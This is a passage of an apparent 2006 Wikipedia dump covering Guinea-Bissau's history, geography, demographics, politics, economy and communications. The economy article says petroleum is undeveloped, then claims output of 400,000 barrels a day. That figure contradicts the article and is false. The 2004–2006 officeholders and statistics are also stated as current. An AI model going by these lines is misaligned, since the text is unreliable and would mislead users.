      <comment>robot  Modifying: ar</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''República da Guiné-Bissau'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Guinea-Bissau.svg|125px|]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Coat of Guinea-Bissau.png|100px|]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of Guinea-Bissau|In Detail]])
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Emblem of Guinea-Bissau|Full size]])
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[National motto]]: Unidade, Luta, Progresso&lt;br&gt;([[Portuguese language|Portuguese]]: Unity, Struggle, Progress)''&lt;/small&gt;
|-
| align=center colspan=2 | [[Image:LocationGuineaBissau.png]]
|-
| '''[[Official language]]'''
| [[Portuguese language|Portuguese]]
|-
| '''[[Capital]]'''
| [[Bissau]] (Note: Former President [[Kumba Ialá]] decided to change the capital city to [[Buba]], but the plan is unlikely to go forward.)
|-
| '''[[President of Guinea-Bissau|President]]'''
| [[João Bernardo Vieira]]
|-
| '''[[Heads of Government of Guinea-Bissau|Prime Minister]]'''
| [[Aristides Gomes]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 133rd]] &lt;br&gt; 36,120 [[square kilometre|km²]] &lt;br&gt; 12% / Negligible
|-
| '''[[Population]]'''
&lt;br&gt;&amp;nbsp;- Total (2002)
&lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| [[List of countries by population|Ranked 147th]]
&lt;br&gt; 1,345,479
&lt;br&gt; 48/km²
|-
|'''[[Human Development Index|HDI]]''' ([[2003]]) || 0.348([[List of countries by Human Development Index|172nd]]) – &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt;
|-
| '''[[Independence]]'''
&lt;br&gt;&amp;nbsp;- Declared
&lt;br&gt;&amp;nbsp;- Recognised
| (from Portugal)
&lt;br&gt;[[September 24|24 Sep]] [[1973]]
&lt;br&gt;[[September 10|10 Sep]] [[1974]]
|-
| '''[[Currency]]'''
| [[CFA franc]]
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]]
|-
| '''[[National anthem]]'''
| [[Esta é a Nossa Pátria Bem Amada]]
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.gw]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| 245
|}
The '''Republic of Guinea-Bissau''' (''República da Guiné-Bissau'', [[Pronunciation|pron.]] [[IPA]] /{{IPA|ʁɛ.'pu.βli.kɐ dɐ gi.'nɛ bi.'saw}}/) is a country in [[western Africa]], and one of the smallest nations in continental [[Africa]]. It is bordered by [[Senegal]] to the north, and [[Guinea]] to the south and east, with the [[Atlantic Ocean]] to its west. Formerly the [[Portugal|Portuguese]] [[colony]] of [[Portuguese Guinea]],  upon independence, the name of its capital, [[Bissau]], was added to the country's official name in order to prevent confusion between itself and the [[Guinea|Republic of Guinea]].

==History==
''Main article: [[History of Guinea-Bissau]]''

Guinea-Bissau was once the kingdom of Gabù, part of the [[Mali Empire]]; parts of the kingdom subsisted until the [[18th century]]. Though the rivers and coast of this area were among the first places colonized by the Portuguese, who began the [[slave trade]] in the [[17th century]], the interior was not explored until the [[19th century]]. A rebellion beginning in [[1956]] by the [[Partido Africano da Independência da Guiné e Cabo Verde|African Party for the Independence of Guinea and Cape Verde]] (PAIGC) consolidated its hold on the country by [[1973]].  Independence was unilaterally declared on [[September 24]], 1973 and was recognized by a 93-7 UN General Assembly vote in November [http://daccessdds.un.org/doc/RESOLUTION/GEN/NR0/281/33/IMG/NR028133.pdf?OpenElement] , unprecedented as it denounced illegal Portuguese aggression and occupation and was prior to complete control and Portuguese recognition.  Recognition became universal following the [[Carnation Revolution|Portuguese revolution of 1974]]. The country was controlled by a revolutionary council until 1984. The first multi-party elections were held in [[1994]], but an army uprising in [[1998]] led to the president's ousting and the [[Guinea-Bissau Civil War]]. Elections were held in [[2000]] and [[Kumba Ialá|Kumba Yala]] was elected.

In September [[2003]] a coup took place in which the military arrested Yala, because &quot;he was unable to solve the problems&quot;. After being delayed several times, [[Guinea-Bissau legislative election, 2004|legislative elections]] were held in April [[2004]]. A [[mutiny]] of [[military]] factions in [[October]] [[2004]] resulted in the death of the head of the armed forces, and caused widespread unrest.

In June 2005, Presidential elections was held for the first time since the coup that deposed Yala. Yala returned as the candidate for the PRS, claiming to be the legitimate President of the country, but the election was won by former President [[João Bernardo Vieira]], deposed in the 1998 coup. Vieira was a candidate for one sect of the PAIGC. Vieira beat [[Malam Bacai Sanha]] in a runoff-election, but Sanha refused to initially concede, claiming that the election have been [[electoral fraud|fraudalent]] in two [[constituencies]], including the capital Bissau.

Despite reports that there had been an influx of arms in the weeks leading up to the election and reports of some 'disturbances during campaigning' - including the attacks of the presidential palace and the Interior Ministry by as of yet unidentified gunmen - [[Election monitoring|European monitors]] labelled the election as &quot;calm and organized&quot;. [http://news.bbc.co.uk/1/hi/world/africa/4723627.stm]

==Politics==
[[Image:Henrique Rosa.jpg|thumb|right|[[Henrique Rosa]], president (2003-05)]]
''Main article: [[Politics of Guinea-Bissau]]''

Guinea-Bissau has a [[multi-party]] [[National People's Assembly of Guinea-Bissau|National People's Assembly]], as well as a president, both elected by popular vote. The president appoints the prime minister after consultation with the parties in the assembly. The former president, Kumba Yala, belongs to the [[Social Renovation Party]] or PRS; other parties in the assembly include the Guinea-Bissau Resistance and PAIGC.

&lt;br&gt;

==Regions==
''Main article: [[Regions of Guinea-Bissau]]''
[[Image:GW-regions.png|right|305px|Map of the regions of Guinea-Bissau]]
Guinea-Bissau is divided into nine regions (''regiões''):
*[[Bafata Region]]
*[[Biombo Region]]
*[[Bissau Region]]
*[[Bolama Region]]
*[[Cacheu Region]]
*[[Gabu Region]]
*[[Oio Region]]
*[[Quinara Region]]
*[[Tombali Region]]

==Geography==
''Main article: [[Geography of Guinea-Bissau]]''
[[Image:Guinea bissau sm03.png|right|Map Of Guinea Bissau]]

This small, tropical country lies at a low altitude; its highest point is 300 metres. The interior is [[savanna]], and the coast line is swampy plain. Its [[monsoon]]-like rainy season alternates with periods of hot, dry [[harmattan]] winds blowing from the [[Sahara]]. The [[Bijagos Archipelago]] extends out to sea.

==Economy==
''Main article: [[Economy of Guinea-Bissau]]''

Guinea-Bissau is among the 20 poorest countries of the world. Its farming and fishing economy was badly disrupted by the 1998-99 civil war. It has a foreign [[debt]] of $US 921 million and is subject to an [[International Monetary Fund|IMF]] [[structural adjustment program]].

One of Guinea-Bissau's important income sources is [[cashew nut]]s, of which it [[export]]s 90,000 [[ton]]s per year. In January [[2005]] the government announced that a [[locust]] [[swarm]] was threatening this vital crop, and that the country did not have the resources to tackle the [[infestation]].

==Demographics==
''Main article: [[Demographics of Guinea-Bissau]]''

The population of [[Guinea-Bissau]] is ethnically diverse with distinct languages, customs, and social structures. The main spoken language is [[Upper Guinea Kriol language|Kriol]], a [[Portuguese-based creole languages|Portuguese-based creole language]] (44%); the [[Portuguese language]] is spoken by 14%. Most people are farmers, with traditional religious beliefs ([[animism]]); 45% are [[Muslim]], principally [[Fula]] and [[Mandinka language|Mandinka]] speakers concentrated in the north and northeast. Other important groups are the [[Balanta]] and [[Papel]], living in the southern coastal regions, and the [[Manjaco]] and [[Mancanha]], in the central and northern coastal areas.

==Culture==
''Main article: [[Culture of Guinea-Bissau]]''

''See also'': [[List of African writers (by country)#Guinea-Bissau|List of writers from Guinea-Bissau]], [[music of Guinea-Bissau]]

==Miscellaneous topics==
*[[Communications in Guinea-Bissau]]
*[[Foreign relations of Guinea-Bissau]]
*[[List of Guinea-Bissau-related topics]]
*[[Military of Guinea-Bissau]]
*[[Transportation in Guinea-Bissau]] 

{{factbook}}

==Reference==
* Richard Andrew Lobban, Jr. and Peter Karibe Mendy, ''Historical Dictionary of the Republic of Guinea-Bissau'', 3rd ed. (Scarecrow Press, 1997) ISBN 0-8108-3226-7  Includes extensive bibliography

==External links==
{{portal}}
{{sisterlinks|Guinea-Bissau}}

===News===
*[http://allafrica.com/guineabissau/ allAfrica - ''Guinea Bissau''] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1043287.stm BBC News ''Country Profile - Guinea-Bissau'']
* [http://www.cia.gov/cia/publications/factbook/geos/pu.html CIA World Factbook - ''Guinea-Bissau'']

===Directories===
* [http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us559925/ LookSmart - ''Guinea-Bissau''] directory category
* [http://dmoz.org/Regional/Africa/Guinea_Bissau/ Open Directory Project - ''Guinea Bissau''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/guin-bis.html Stanford University - Africa South of the Sahara: ''Guinea-Bissau''] directory category
*[http://www.afrika.no/index/Countries/Guinea_Bissau/index.html The Index on Africa - ''Guinea-Bissau''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/G_Bissau.html University of Pennsylvania - African Studies Center: ''Guinea-Bissau''] directory category
* [http://dir.yahoo.com/Regional/Countries/Guinea_Bissau/ Yahoo! - ''Guinea-Bissau''] directory category

===Tourism===
*{{wikitravel}}

===Other===
*[http://www.sas.upenn.edu/African_Studies/CIA_Maps/Guinea_Bissau_19846.gif Map of Guinea-Bissau]
*[http://www.state.gov/r/pa/ei/bgn/5454.htm United States consular information sheet/travel advisory for Guinea-Bissau]

{{Africa}}
[[Category:Guinea-Bissau|*]]
[[Category:African Union member states]]
[[Category:Former Portuguese colonies]]
[[Category:CPLP member states]]

[[ar:غينيا بيساو]]
[[bg:Гвинея-Бисау]]
[[zh-min-nan:Guiné-Bissau]]
[[bs:Gvineja-Bisau]]
[[ca:Guinea Bissau]]
[[cs:Guinea-Bissau]]
[[da:Guinea-Bissau]]
[[de:Guinea-Bissau]]
[[et:Guinea-Bissau]]
[[es:Guinea-Bissáu]]
[[eo:Gvineo Bisaŭa]]
[[fr:Guinée-Bissau]]
[[gl:Guinea-Bisau - Guiné-Bissau]]
[[ko:기니비사우]]
[[hr:Gvineja Bisau]]
[[io:Guinea-Bissau]]
[[id:Guinea Bissau]]
[[is:Gínea-Bissá]]
[[it:Guinea-Bissau]]
[[he:גינאה ביסאו]]
[[lv:Gvineja-Bisava]]
[[lt:Bisau Gvinėja]]
[[hu:Bissau-Guinea]]
[[ms:Guinea-Bissau]]
[[na:Guinea-Bissau]]
[[nl:Guinee-Bissau]]
[[nds:Guinea-Bissau]]
[[ja:ギニアビサウ]]
[[no:Guinea-Bissau]]
[[nn:Guinea-Bissau]]
[[pl:Gwinea Bissau]]
[[pt:Guiné-Bissau]]
[[ro:Guineea-Bissau]]
[[ru:Гвинея-Бисау]]
[[sq:Guineja Bizare]]
[[simple:Guinea-Bissau]]
[[sk:Guinea-Bissau]]
[[sl:Gvineja Bissau]]
[[sr:Гвинеја Бисао]]
[[fi:Guinea-Bissau]]
[[sv:Guinea-Bissau]]
[[tl:Guinea-Bissau]]
[[tr:Gine Bissau]]
[[uk:Гвінея-Бісау]]
[[zh:幾內亞比索]]</text>
    </revision>
  </page>
  <page>
    <title>History of Guinea-Bissau</title>
    <id>12187</id>
    <revision>
      <id>38217667</id>
      <timestamp>2006-02-04T23:38:38Z</timestamp>
      <contributor>
        <ip>209.98.246.61</ip>
      </contributor>
      <comment>/* Struggle for independence */</comment>
      <text xml:space="preserve">The '''history of [[Guinea-Bissau]]''' was dominated by [[Portugal]] from the [[1450s]] to the [[1970s]]; since independence, the country has been primarily controlled by a single-party system.

==Portuguese rule==
The rivers of [[Guinea]] and the islands of [[Cape Verde]] were among the first areas in [[Africa]] explored by the Portuguese, notably [[Nuno Tristão]], in the [[15th century]]. Portugal claimed Portuguese Guinea in [[1446]], but few trading posts were established before 1600. In [[1630]], a &quot;captaincy-general&quot; of [[Portuguese Guinea]] was established to administer the territory. With the cooperation of some local tribes, the Portuguese entered the [[slave trade]] and exported large numbers of Africans to the Western Hemisphere via the Cape Verde Islands. [[Cacheu]] became one of the major slave centers, and a small fort still stands in the town. The slave trade declined in the 19th century, and [[Bissau]], originally founded as a military and slave-trading center in [[1765]], grew to become the major commercial center.

==19th and 20th centuries==
Portuguese conquest and consolidation of the interior did not begin until the latter half of the 19th century. Portugal lost part of Guinea to [[French West Africa]], including the center of earlier Portuguese commercial interest, the [[Casamance River]] region. A dispute with [[United Kingdom|Britain]] over the island of [[Bolama]] was settled in Portugal's favor with the involvement of U.S. President [[Ulysses S. Grant]].

Before [[World War I]], Portuguese forces, with some assistance from the [[Muslim]] population, subdued animist tribes and eventually established the territory's borders. The interior of Portuguese Guinea was brought under control after more than 30 years of fighting; final subjugation of the [[Bijagós Islands]] did not occur until [[1936]]. The administrative capital was moved from [[Bolama]] to [[Bissau]] in [[1941]], and in [[1952]], by constitutional amendment, the colony of Portuguese Guinea became an overseas province of Portugal.

==Struggle for independence==
''Main article: [[Guinea-Bissauan Revolution]]''

In [[1956]], the [[Partido Africano da Independência da Guiné e Cabo Verde|African Party for the Independence of Guinea and Cape Verde]] (PAIGC) was organized clandestinely by [[Amílcar Cabral]] and [[Rafael Barbosa]]. The PAIGC moved its headquarters to [[Conakry]], Guinea, in 1960 and started an armed rebellion against the Portuguese in 1961 (for a detailed account of this struggle, see the PAIGC page). Despite the presence of Portuguese troops, which grew to more than 35,000, the PAIGC steadily expanded its influence until, by [[1968]], it controlled most of the country. It established civilian rule in the territory under its control and held elections for a [[National Assembly]]. Portuguese forces and civilians increasingly were confined to their garrisons and larger towns. The Portuguese Governor and Commander in Chief from 1968 to 1973, General [[António de Spínola]], returned to Portugal and led the movement which brought democracy to Portugal and independence for its colonies.

[[Amílcar Cabral]] was assassinated in Conakry in [[1973]], and party leadership fell to [[Aristides Pereira]], who later became the first president of the [[Republic of Cape Verde]]. The PAIGC National Assembly met at [[Boe (Guinea-Bissau)|Boe]] in the southeastern region and declared the independence of Guinea-Bissau on [[September 24]], [[1973]] and was recognized by a 93-7 UN General Assembly vote in November [http://daccessdds.un.org/doc/RESOLUTION/GEN/NR0/281/33/IMG/NR028133.pdf?OpenElement] , unprecedented as it denounced illegal Portuguese aggression and occupation and was prior to complete control and Portuguese recognition.  Following Portugal's April 1974 [[Carnation Revolution]], it granted independence to Guinea-Bissau on September 10, 1974. [[Luís Cabral]], Amílcar Cabral's half-brother, became President of Guinea-Bissau. In late 1980, the government was overthrown in a relatively bloodless coup led by Prime Minister and former armed forces commander [[João Bernardo Vieira]].

==Vieira's presidency==
From November 1980 to May 1984, power was held by a provisional government responsible to a Revolutionary Council headed by President [[João Bernardo Vieira]]. In 1984, the council was dissolved, and the National Popular Assembly (ANP) was reconstituted. The single-party assembly approved a new constitution, elected President Vieira to a new 5-year term, and elected a Council of State, which was the executive agent of the ANP. Under this system, the president presides over the Council of State and serves as head of state and government. The president also was head of the PAIGC and commander in chief of the armed forces.

There were alleged coup plots against the Vieira government in 1983, 1985, and 1993. In 1986, first Vice President Paulo Correia and five others were executed for treason following a lengthy trial.

==Democracy==
In 1994, 20 years after independence from Portugal, the country's first multiparty legislative and presidential elections were held. An army uprising that triggered the [[Guinea-Bissau Civil War]] in 1998, created hundreds of thousands of displaced persons. The president was ousted by a military junta in [[May 7]], [[1999]]. An interim government turned over power in February 2000 when opposition leader [[Kumba Ialá]] took office following two rounds of transparent presidential elections. Guinea-Bissau's transition back to democracy will be complicated by a crippled economy devastated by civil war and the military's predilection for governmental meddling.

In September [[2003]] a bloodless coup took place in which the military, headed by General [[Veríssimo Correia Seabra]], arrested Ialá, because &quot;he was unable to solve the problems&quot;. After being delayed several times, [[Guinea-Bissau legislative election, 2004|legislative elections]] were held in April [[2004]]. 

A [[mutiny]] of [[military]] factions in [[October]] [[2004]] resulted in the death of General Seabra and others, and caused widespread unrest. The Prime Minister [[Carlos Gomes Júnior]] has stated that the mutineers were ex-[[UN]] soldiers recently returned from Liberia who were angry about delays in being paid. Talks between these soldiers and the authorities have so far failed to come to an agreement.

The next presidential election is due early next year.

==See also== 
*[[History of Africa]]
*[[History of West Africa]] 

{{Africa in topic|History of}}

[[Category:Guinea-Bissau]]
[[de:Geschichte von Guinea-Bissau]] [[pt:História da Guiné-Bissau]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Guinea-Bissau</title>
    <id>12188</id>
    <revision>
      <id>40706904</id>
      <timestamp>2006-02-22T13:14:17Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>Shaded relief map</comment>
      <text xml:space="preserve">[[Image:Guinea Bissau Map.jpg|right|thumb|300px|Map Of Guinea Bissau]]				

This article describes the '''[[geography]] of [[Guinea-Bissau]]'''.

; Location:
: Western [[Africa]], bordering the North [[Atlantic Ocean]], between [[Guinea]] and [[Senegal]]
; [[Geographic coordinates]]:
: {{coor dm|12|00|N|15|00|W|type:country}}
; Map references:
: Africa
; Area:
:* Total: 36,120 [[Square kilometre|km&amp;sup2;]]
:* Land: 28,000 km&amp;sup2;
:* Water: 8,120 km&amp;sup2;
; Area--comparative:
: Slightly less than three times the size of [[Connecticut]]
; Land boundaries:
:* Total: 724 km
:* Border countries: Guinea 386 km, Senegal 338 km
; Coastline:
: 350 km
; Maritime claims:
:* Exclusive economic zone: 200 [[Nautical mile|nm]] (370.4 km)
:* Territorial sea: 12 nm (22.2 km)
; Climate:
: Tropical; generally hot and humid; monsoonal-type rainy season (June to November) with southwesterly winds; dry season (December to May) with northeasterly [[harmattan]] winds
; Terrain:
: Mostly low coastal plain rising to [[savanna]] in east
; Elevation extremes:
:* Lowest point: Atlantic Ocean 0 [[metre|m]]
:* Highest point: Unnamed location in the northeast corner of the country 300 m
; Natural resources:
: [[Fish]], [[timber]], [[phosphates]], [[bauxite]], unexploited deposits of [[petroleum]]
; Land use:
:* Arable land: 11%
:* Permanent crops: 1%
:* Permanent pastures: 38%
:* Forests and woodland: 38%
:* Other: 12% (1993 est.)
; Irrigated land:
: 17 km&amp;sup2; (1993 est.)
; Natural hazards:
: Hot, dry, dusty harmattan haze may reduce visibility during dry season; brush fires
; Environment--current issues:
: Deforestation; soil erosion; overgrazing; overfishing
; Environment--international agreements:
:* Party to: [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Law of the Sea]], [[Wetlands]]
:* Signed, but not ratified: None of the selected agreements

==See also==
*[[Guinea-Bissau]]

{{Africa in topic|Geography of}}

[[Category:Geography by country|Guinea-Bissau]]
[[Category:Geography of Guinea-Bissau| ]]

[[pt:Geografia da Guiné-Bissau]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Guinea-Bissau</title>
    <id>12189</id>
    <revision>
      <id>34641538</id>
      <timestamp>2006-01-10T18:43:25Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Africa in topic|Demographics of}}</comment>
      <text xml:space="preserve">The population of [[Guinea-Bissau]] is ethnically diverse with distinct languages, customs, and social structures. Most people are farmers, with traditional religious beliefs ([[animism]]); 45% are [[Muslim]], principally [[Fula]] and [[Mandinka language|Mandinka]]-speaker concentrated in the north and northeast. Other important groups are the [[Balanta]] and [[Papel]], living in the southern coastal regions, and the [[Manjaco]] and [[Mancanha]], occupying the central and northern coastal areas. 

'''Population:'''
1,285,715 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
42% (male 271,100; female 272,304)
&lt;br&gt;''15-64 years:''
55% (male 335,150; female 370,667)
&lt;br&gt;''65 years and over:''
3% (male 16,574; female 19,920) (2000 est.)

'''Population growth rate:'''
2.4% (2000 est.)

'''Birth rate:'''
39.63 births/1,000 population (2000 est.)

'''Death rate:'''
15.62 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
0 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1 male(s)/female
&lt;br&gt;''15-64 years:''
0.9 male(s)/female
&lt;br&gt;''65 years and over:''
0.83 male(s)/female
&lt;br&gt;''total population:''
0.94 male(s)/female (2000 est.)

'''Infant mortality rate:'''
112.25 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
49.04 years
&lt;br&gt;''male:''
46.77 years
&lt;br&gt;''female:''
51.37 years (2000 est.)

'''Total fertility rate:'''
5.27 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Guinean (s)
&lt;br&gt;''adjective:''
Guinean

'''Ethnic groups:'''
African 99% ([[Balanta]] 30%, [[Fula]] 20%, [[Manjaca]] 14%, [[Mandinka people|Mandinga]] 13%, [[Papel]] 7%), European and Mulatto less than 1%

'''Religions:'''
indigenous beliefs 50%, Muslim 45%, Christian 5%

'''Languages:'''
Portuguese (official), Crioulo, African languages

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
53.9%
&lt;br&gt;''male:''
67.1%
&lt;br&gt;''female:''
40.7% (1997 est.)

:''See also :'' [[Guinea-Bissau]]

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Guinea-Bissau]]
[[Category:Guinea-Bissau]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Guinea-Bissau</title>
    <id>12190</id>
    <revision>
      <id>35516165</id>
      <timestamp>2006-01-17T08:05:01Z</timestamp>
      <contributor>
        <username>Acntx</username>
        <id>104025</id>
      </contributor>
      <comment>/* International organization participation */</comment>
      <text xml:space="preserve">{{Politics of Guinea-Bissau}}
'''Politics of Guinea-Bissau''' takes place in a framework of a [[semi-presidential system|semi-presidential]] [[representative democracy|representative democratic]] [[republic]] in transition, whereby the [[Heads of State of Guinea-Bissau|President]] is [[head of state]] and the [[Heads of Government of Guinea-Bissau|Prime Minister]] is [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[National People's Assembly of Guinea-Bissau|National People's Assembly]]. Since 1994 the party system is dominated by the socialist [[African Independence Party of Guinea and Cape Verde]] and the [[Party for Social Renewal]].
The [[Judiciary]] is independent of the executive and the legislature.

==Recent political developments==
In [[Guinea-Bissau]] in 1989, the ruling [[African Independence Party of Guinea and Cape Verde]] under the direction of President [[João Bernardo Vieira|João Bernardo &quot;Nino&quot; Vieira]] began to outline a political liberalization program which the [[People's National Assembly of Guinea-Bissau|People's National Assembly]] approved in 1991. Reforms that paved the way for multi-party democracy included the repeal of articles of the constitution, which had enshrined the leading role of the PAIGC. Laws were ratified to allow the formation of other political parties, a free press, and independent trade unions with the right to strike.

Guinea-Bissau's first [[multi-party system|multi-party]] [[election]]s for president and parliament were held in 1994. Following the 1998-99 civil war, presidential and legislative elections were again held, bringing opposition leader [[Kumba Ialá]] and his [[Party for Social Renewal]] to power. The PRS currently holds 38 of 102 National Assembly seats and 18 of 25 Cabinet seats. Ialá was ousted in a bloodless coup in September 2003, and [[Henrique Rosa]] was sworn in as President. Guinea-Bissau's transition back to democracy is complicated by its crippled economy, devastated in the civil war. 

==Executive branch==
{{office-table}}
|[[Heads of State of Guinea-Bissau|President]]
|[[João Bernardo Vieira|João Bernardo &quot;Nino&quot; Vieira]] 
|Independent
|[[1 October]] [[2005]]
|-
|[[Heads of Government of Guinea-Bissau|Prime Minister]]
|[[Aristides Gomes]]
|Independent
|[[2 November]] [[2005]]
|}
The president is elected by popular vote for a five-year term. The prime minister is appointed by the president after consultation with party leaders in the legislature.

==Legislative branch==
The [[National People's Assembly of Guinea-Bissau|National People's Assembly]] (''Assembleia Nacional Popular'') has 102 members, elected for a four year term in multi-member [[constituency|constituencies]].

==Political parties and elections==
{{elect|List of political parties in Guinea-Bissau|Elections in Guinea-Bissau}}
{{Guinea-Bissau presidential election, 2005}}
{{main|Guinea-Bissau presidential election, 2005}}
{{Guinea-Bissau legislative election, 2004}}
{{main|Guinea-Bissau legislative election, 2004}}

==Judicial branch==
The Supreme Court or Supremo Tribunal da Justica, consists of nine justices who are appointed by the president and serve at his pleasure, final court of appeals in criminal and civil case. There are Regional Courts, one in each of nine regions, first court of appeals for sectoral court decisions, hear all felony cases and civil cases valued at over $1,000 and 24 Sectoral Courts, judges are not necessarily trained lawyers, hear civil cases under $1,000 and misdemeanor criminal cases.

'''Political parties and leaders:'''
African Party for the Independence of Guinea-Bissau and Cape Verde or PAIGC [Carlos GOMES Junior]; Front for the Liberation and Independence of Guinea or FLING [Francois MENDY]; Guinea-Bissau Resistance-Ba Fata Movement or RGB-MB [Helder Vaz LOPES]; Guinean Civic Forum or FCG [Antonieta Rosa GOMES]; International League for Ecological Protection or LIPE [Alhaje Bubacar DJALO, president]; National Union for Democracy and Progress or UNDP [Abubacer BALDE, secretary general]; Party for Democratic Convergence or PCD [Victor MANDINGA]; Social Renovation Party or PRS [Kumba YALA]; Union for Change or UM [Jorge MANDINGA, president, Dr. Anne SAAD, secretary general]; United Platform or UP [coalition formed by PCD, FDS, [[Frente de Luta pela Independência Nacional da Guiné|FLING]], and RGB-MB]; United Social Democratic Party or PUSD [Francisco Jose FADUL] 

==Administrative divisions==
Guinea-Bissau is divided in 9 regions (regioes, singular - regiao); Bafata, Biombo, Bissau, Bolama, Cacheu, Gabu, Oio, Quinara, Tombali.
&lt;br&gt;''note:'' Bolama may have been renamed Bolama/Bijagos

==International organization participation==
ACCT (associate), ACP, AfDB, ECA, ECOWAS, FAO, FZ, G-77, IBRD, ICAO, ICFTU, ICRM, IDA, IDB, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat (nonsignatory user), Interpol, IOC, IOM, ITU, NAM, OAU, OIC, OPCW, UN, UNCTAD, UNESCO, UNIDO, UPU, WADB (regional), WAEMU, WFTU, WHO, WIPO, WMO, WToO, WTrO


'''Flag description:'''
two equal horizontal bands of yellow (top) and green with a vertical red band on the hoist side; there is a black five-pointed star centered in the red band; uses the popular pan-African colors of Ethiopia

:''See also :'' [[Guinea-Bissau]]

{{Africa in topic|Politics of}}

[[Category:Politics of Guinea-Bissau]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Guinea-Bissau</title>
    <id>12191</id>
    <revision>
      <id>38992991</id>
      <timestamp>2006-02-10T00:17:50Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{Economy of Guinea-Bissau table}}
'''Economy - overview:'''
[[Guinea-Bissau]] is among the world's least developed nations and one of the 20 poorest countries in the world, and depends mainly on agriculture and fishing.  [[Cashew]] crops have increased remarkably in recent years, and the country now ranks sixth in cashew production. Guinea-Bissau exports fish and seafood along with small amounts of [[peanut]]s, palm kernels, and timber. License fees for fishing provide the government with some revenue.  [[Rice]] is the major crop and staple food.

Intermittent fighting between [[Senegal]]ese-backed government troops and a military junta destroyed much of the country's [[infrastructure]] and caused widespread damage to the economy in 1998; the civil war led to a 28% drop in GDP that year, with partial recovery in 1999.  Agricultural production is estimated to have fallen by 17% during the conflict, and the civil war led to a 28% overall drop in GDP in 1998. Cashew nut output, the main export crop, declined in 1998 by an estimated 30%. World cashew prices dropped by more than 50% in 2000, compounding the economic devastation caused by the conflict. 

Before the war, trade reform and price liberalization were the most successful part of the country's structural adjustment program under IMF sponsorship. The tightening of monetary policy and the development of the private sector had also begun to reinvigorate the economy. Under the government&amp;rsquo;s post-conflict economic and financial program, implemented with IMF and World Bank input, real GDP recovered in 1999 by almost 8%. In December 2000 Guinea-Bissau qualified for almost $800 million in debt-service relief under the first phase of the enhanced [[HIPC]] initiative and is scheduled to submit its Poverty Reduction Strategy Paper in March 2002. Guinea-Bissau will receive the bulk of its assistance under the enhanced HIPC initiative when it satisfies a number of conditions, including implementation of its Poverty Reduction Strategy Paper. 

Because of high costs, the development of [[petroleum]], [[phosphate]], and other [[mineral]] resources is not a near-term prospect. It produces 400,000 barrels/day of petrol.

==References==
*[http://www.cia.gov/cia/publications/factbook/geos/pu.html#top CIA Factbook]

{{WTO}}
[[Category:African Union member economies|Guinea-Bissau]]
[[Category:Economies by country|Guinea-Bissau]]
[[Category:Guinea-Bissau]]
[[Category:WTO members|Guinea-Bissau]]

[[es:Economía de Guinea-Bissáu]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guinea-Bissau</title>
    <id>12192</id>
    <revision>
      <id>15909895</id>
      <timestamp>2004-10-24T19:23:18Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[Category:Communications_by_country]]</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
13,120 (1995)

'''Telephones - mobile cellular:'''
NA

'''Telephone system:'''
small system
&lt;br&gt;''domestic:''
combination of microwave radio relay, open-wire lines, radiotelephone, and cellular communications
&lt;br&gt;''international:''
NA

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 1, [[FM]] 2, [[shortwave]] 0 (1998)

'''Radios:'''
49,000 (1997)

'''[[Television]] broadcast stations:'''
2 (1997)

'''Televisions:'''
NA

'''[[Internet Service Provider]]s (ISPs):'''
NA

'''[[Country code]] (Top-level domain):''' GW

:''See also :'' [[Guinea-Bissau]]

[[Category:Communications by country|Guinea-Bissau]]
[[Category:Guinea-Bissau]]</text>
    </revision>
  </page>
